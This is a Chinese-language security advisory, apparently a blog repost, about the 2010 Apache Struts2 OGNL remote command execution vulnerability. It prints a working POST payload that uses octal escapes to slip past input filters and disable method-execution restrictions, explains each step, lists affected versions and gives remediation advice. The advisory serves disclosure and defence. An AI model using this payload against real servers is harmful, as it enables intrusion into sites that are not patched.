近日,安恒信息安全小組發(fā)現(xiàn)Apache Struts2導(dǎo)致大量使用此框架的網(wǎng)站淪陷,Apache Struts2 框架是在2010年7月14日被發(fā)現(xiàn)存在一個(gè)嚴(yán)重命令執(zhí)行漏洞,但隨之出現(xiàn)了防范技術(shù),最近隨著struts2帶回顯功能的POC被公布,出現(xiàn)大量的利用工具,并導(dǎo)致大量使用此框架的網(wǎng)站淪陷,并呈擴(kuò)散趨勢(shì)。 我們先來(lái)了解一下Apache Struts2,Struts2是在struts 和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并后的全新框架。其全新的Struts 2的體系結(jié)構(gòu)與Struts 1的體系結(jié)構(gòu)的差別巨大。李云海 土豆(6336112); Struts 2以WebWork為核心,采用攔截器的機(jī)制來(lái)處理用戶的請(qǐng)求,這樣的設(shè)計(jì)也使得業(yè)務(wù)邏輯控制器能夠與Servlet API完全脫離開(kāi),所以Struts 2可以理解為WebWork的更新產(chǎn)品. 2010年期間Struts2爆發(fā)了一遠(yuǎn)程命令執(zhí)行漏洞,曾經(jīng)各種版本的漏洞利用工具讓CNVD郁悶不已. 一.漏洞細(xì)節(jié) 以POST的方式提交繞過(guò)對(duì)輸入?yún)?shù)的部分過(guò)濾。 ('\43_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\43context[\'xwork.MethodAccessor.den yMethodExecution\']\75false')(d))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EM PTY_SET')(c))&(asdf)(('\43rp\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\43rp.ge tWriter().print("dbappsecurity")')(d)) (grgr)(('\43rp.getWriter().close()')(d))=1 \75 (=的8進(jìn)制)\40(空格的8進(jìn)制)ongl語(yǔ)句中執(zhí)行的參數(shù)不允許出現(xiàn)空格。當(dāng)然包括其他老版本的正則 是^#=:都不允許,通殺的話是用\40來(lái)替代。 這樣上面就是 1.設(shè)置上下文denyMethodExecution=false 運(yùn)行方法執(zhí)行 2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@調(diào)用靜態(tài)變量) 設(shè)置外部攔截器為空 3.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的數(shù)據(jù) 4.myout.getWriter().println("dbappsecurity") ;把response的數(shù)據(jù)打印到屏幕上。 二.Struts2漏洞目前受到影響的系統(tǒng)包括: 1.OpenSymphony XWork < 2.2.0 2.Apache Group Struts < 2.2.0 三.Struts2漏洞修復(fù)方案: 1.下載最新的版本2.3.4:http://struts./download.cgi#struts234 2.或者修改對(duì)應(yīng)jar中的ongl處理邏輯,然后編譯打包替換舊的文件。 3.可使用安恒信息掃描器檢測(cè)漏洞,運(yùn)用安恒信息waf防護(hù)漏洞,安全點(diǎn)就只保留字母數(shù)字,其它的全部刪除即可。 |
|
來(lái)自: 自由撰寫(xiě)者 > 《電腦網(wǎng)絡(luò)》